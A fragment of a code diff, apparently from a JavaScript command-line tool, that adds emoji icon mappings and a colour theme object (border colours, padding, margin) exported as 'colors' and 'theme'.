47
|
+
payload: "🎯",
|
|
48
|
+
version: "🌱",
|
|
49
|
+
link: "🔗",
|
|
50
|
+
exit: "❌",
|
|
51
|
+
config: "🔧",
|
|
52
|
+
scan: "🚀",
|
|
53
|
+
report: "📊",
|
|
54
|
+
success: "✓",
|
|
55
|
+
error: "⚠",
|
|
56
|
+
bullet: "▸",
|
|
57
|
+
arrow: "→"
|
|
58
|
+
}
|
|
59
|
+
};
|
|
60
|
+
|
|
61
|
+
/**
|
|
62
|
+
* 🎭 Configurações de tema para componentes visuais
|
|
63
|
+
*/
|
|
64
|
+
const theme = {
|
|
65
|
+
background: '#1a1a1a',
|
|
66
|
+
border: {
|
|
67
|
+
primary: '#57f287',
|
|
68
|
+
success: '#06D6A0',
|
|
69
|
+
warning: '#FFD166',
|
|
70
|
+
warning2: '#F8E789',
|
|
71
|
+
error: '#FF9999',
|
|
72
|
+
info: '#118AB2',
|
|
73
|
+
info2: '#67d1f5',
|
|
74
|
+
scan: '#9D4EDD',
|
|
75
|
+
tag: '#FF6B6B',
|
|
76
|
+
up: '#57f287',
|
|
77
|
+
down: '#FF9999'
|
|
78
|
+
},
|
|
79
|
+
padding: 1,
|
|
80
|
+
margin: 1
|
|
81
|
+
};
|
|
82
|
+
|
|
83
|
+
module.exports = { colors, theme };
|